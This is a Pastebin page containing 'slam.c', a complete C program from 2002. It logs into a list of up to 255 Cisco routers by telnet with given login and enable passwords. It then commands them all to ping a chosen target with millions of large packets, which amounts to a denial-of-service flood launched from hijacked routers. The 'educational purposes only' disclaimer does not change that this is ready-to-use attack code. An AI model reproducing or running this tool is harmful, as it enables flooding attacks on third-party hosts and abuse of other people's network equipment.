Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * slam.c by Evil (mystic@tenebrous.com)
- * a program that will connect to
- * all enabled cisco routers stored one per
- * line in a plain text file (up to 255) and ping
- * a specified host
- *
- * Copyright(c) 2002 mystic@tenebrous.com
- *
- * Type ./slam for help
- *
- * FOR EDUCATIONAL PURPOSES ONLY
- *
- * --- WARNING ---
- * Unauthorized access to communications systems
- * is a direct violation of Federal Law Title 18, Part 1,
- * Chapter 121, Section 2701!
- *
- * USE AT YOUR OWN RISK!
- * (Cause I, the author accept NO responsibility
- * for the consequences of this software)
- *
- * Other programs by this author:
- * rain - http://www.tenebrous.com/rain/
- * codeblue - http://www.freshmeat.net/projects/codeblue/
- * unicount - http://unicount.tenebrous.com/
- *
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <signal.h>
- #include <errno.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <string.h>
- #include <getopt.h>
- struct sockaddr_in sockadd[255];
- int sockets[255];
- int close_all_sockets(int sockets2[255])
- {
- int i = 0;
- char *message = "QUIT\r\n";
- printf("Closing sockets, stand by... \n");
- while (sockets2[i] != 0) {
- send(sockets2[i], (char *) message, strlen(message), 0);
- shutdown(sockets2[i], SHUT_RDWR);
- i++;
- }
- return 0;
- }
- void catch_signal(int signo)
- {
- printf("\e[0m\n*** CAUGHT SIGNAL %d, CLOSING ALL SOCKETS!\n", signo);
- close_all_sockets(sockets);
- exit(0);
- }
- void signal_init(void)
- {
- struct sigaction sa_old, sa_new;
- sa_new.sa_handler = catch_signal;
- sigemptyset(&sa_new.sa_mask);
- sa_new.sa_flags = 0;
- sigaction(SIGINT, &sa_new, &sa_old);
- sigaction(SIGTERM, &sa_new, &sa_old);
- sigaction(SIGKILL, &sa_new, &sa_old);
- sigaction(SIGSTOP, &sa_new, &sa_old);
- sigaction(SIGHUP, &sa_new, &sa_old);
- sigaction(SIGALRM, &sa_new, &sa_old);
- }
- char *chop(char *str)
- {
- int i = 0;
- while (str[i]) {
- if (str[i] == '\n')
- str[i] = '\0';
- i++;
- }
- return str;
- }
- int resolv(const char *name, struct sockaddr_in *addr)
- {
- struct hostent *host;
- memset(addr, 0, sizeof(struct sockaddr_in));
- addr->sin_addr.s_addr = inet_addr(name);
- if (addr->sin_addr.s_addr == -1) {
- if ((host = gethostbyname(name)) == NULL)
- return -1;
- addr->sin_family = host->h_addrtype;
- memcpy((caddr_t) & addr->sin_addr, host->h_addr, host->h_length);
- }
- return 0;
- }
- typedef struct _cisco {
- u_char passwd[64];
- u_char file[256];
- u_char enable[64];
- u_char target[256];
- u_long dgsize;
- u_long pktnum;
- int port;
- } CISCO;
- void help(void)
- {
- printf("Options are:\n"
- "\t-f <file> The name of the cisco file to read (default enabled.txt)\n"
- "\t-p <password> The login password of the routers\n"
- "\t-e <enable-pass> The enable password of the routers (default cisco)\n"
- "\t-t <target> The target hostname or IP address\n"
- "\t - will be converted to IP automatically\n"
- "\t-d <port> The port on the cisco router (default 23)\n"
- "\t-n <num> Number of packets to send (default 9999999)\n"
- "\t-s <size> The datagram size (default 18024)\n"
- "\t-h Prints this help screen\n" "-\n");
- return;
- }
- void banner(void)
- {
- printf("slam.c by Evil (mystic@tenebrous.com) [pid:%d]\n", getpid());
- }
- int main(int argc, char **argv)
- {
- FILE *fp;
- char buffer[1024][1024];
- char buffer2[1024];
- char service[32];
- int i = 0;
- CISCO *cisco = malloc(sizeof(CISCO));
- static char optstring[] = "hf:p:e:t:d:n:s:";
- int optch;
- int ch;
- struct servent *serv;
- struct sockaddr_in sin;
- signal_init();
- strcpy(cisco->file, "enabled.txt");
- strcpy(cisco->enable, "cisco");
- cisco->port = 23;
- cisco->pktnum = 9999999;
- cisco->dgsize = 18024;
- setvbuf(stdout, NULL, _IONBF, 0);
- banner();
- if (argc < 5) {
- help();
- return 1;
- }
- while ((optch = getopt(argc, argv, optstring)) != -1) {
- switch (optch) {
- case 'f':{
- strcpy(cisco->file, optarg);
- break;
- }
- case 'p':{
- strcpy(cisco->passwd, optarg);
- break;
- }
- case 'e':{
- strcpy(cisco->enable, optarg);
- break;
- }
- case 't':{
- strcpy(cisco->target, optarg);
- break;
- }
- case 'd':{
- cisco->port = atoi(optarg);
- break;
- }
- case 'n':{
- cisco->pktnum = atol(optarg);
- break;
- }
- case 's':{
- cisco->dgsize = atol(optarg);
- break;
- }
- case 'h':{
- help();
- return 1;
- }
- }
- }
- if ((strlen(cisco->target) < 7) || (strlen(cisco->passwd) < 3)) {
- fprintf(stderr,
- "*** You must at LEAST specify a target IP and login password!\n");
- return 1;
- }
- if ((serv = getservbyport(htons(cisco->port), "tcp")) == NULL)
- strcpy(service, "unknown");
- else
- strcpy(service, serv->s_name);
- if (resolv(cisco->target, &sin) < 0) {
- fprintf(stderr, "*** Could not resolve target host: %s\n",
- strerror(errno));
- return 1;
- }
- strcpy(cisco->target, inet_ntoa(sin.sin_addr));
- printf("----------------------------\n");
- printf("File : %s\n"
- "Login pass : %s\n"
- "Enable pass: %s\n"
- "Target IP : %s\n"
- "Cisco port : %d (%s)\n"
- "Packets : %lu\n"
- "Size : %lu\n",
- cisco->file, cisco->passwd,
- cisco->enable, cisco->target,
- cisco->port, service, cisco->pktnum, cisco->dgsize);
- printf("----------------------------\n");
- printf("Is this information correct? [Y/N]: ");
- ch = getchar();
- if ((ch == 'Y') || (ch == 'y'));
- else {
- printf("Cancelled.\n");
- return 1;
- }
- if ((fp = fopen(cisco->file, "r")) == NULL) {
- fprintf(stderr, "*** Couldn't open %s for reading: %s\n",
- cisco->file, strerror(errno));
- return 1;
- }
- memset(&sockets, 0, (sizeof(int) * 255));
- while (!feof(fp)) {
- fgets((char *) &buffer[i], 1024, fp);
- memset(&sockadd[i], 0, sizeof(struct sockaddr_in));
- sockadd[i].sin_family = AF_INET;
- sockadd[i].sin_port = htons(cisco->port);
- sockadd[i].sin_addr.s_addr = inet_addr(chop(buffer[i]));
- i++;
- }
- sockadd[i++].sin_port = 0;
- fclose(fp);
- i = 0;
- while (sockadd[i].sin_port != 0) {
- if ((sockets[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- {
- fprintf(stderr, "socket error: %s\n", strerror(errno));
- return -1;
- }
- i++;
- }
- i = 0;
- while (sockets[i] != 0) {
- if(sockadd[i].sin_addr.s_addr == 0xFFFFFFFF) break;
- printf("[ Connecting to \e[0;32m%16s\e[0m:\e[0;31m%d\e[0m",
- inet_ntoa(sockadd[i].sin_addr),
- cisco->port);
- if (connect
- (sockets[i], (struct sockaddr *) &sockadd[i],
- sizeof(struct sockaddr_in)) < 0) {
- fprintf(stderr, "\n*** connect error on %s (socket %d): %s\n",
- inet_ntoa(sockadd[i].sin_addr), sockets[i],
- strerror(errno));
- i++;
- continue;
- }
- printf(" ; sending commands...\n");
- sprintf(buffer2,
- "%s\r\nenable\r\n%s\r\nping\r\n\r\n%s\r\n%lu\r\n%lu\r\n0\r\n\r\n\r\n\r\n",
- cisco->passwd, cisco->enable, cisco->target, cisco->pktnum,
- cisco->dgsize);
- if (send(sockets[i], buffer2, strlen(buffer2), 0) < 0)
- fprintf(stderr, "\n*** send() error on socket %d: %s\n",
- sockets[i], strerror(errno));
- i++;
- }
- i = 0;
- printf("-------------------------------------\n");
- printf("Transmission commensing!\n");
- printf("Hit CTRL+C to shutdown all sockets...\n");
- while (1) {;
- }
- close_all_sockets(sockets);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement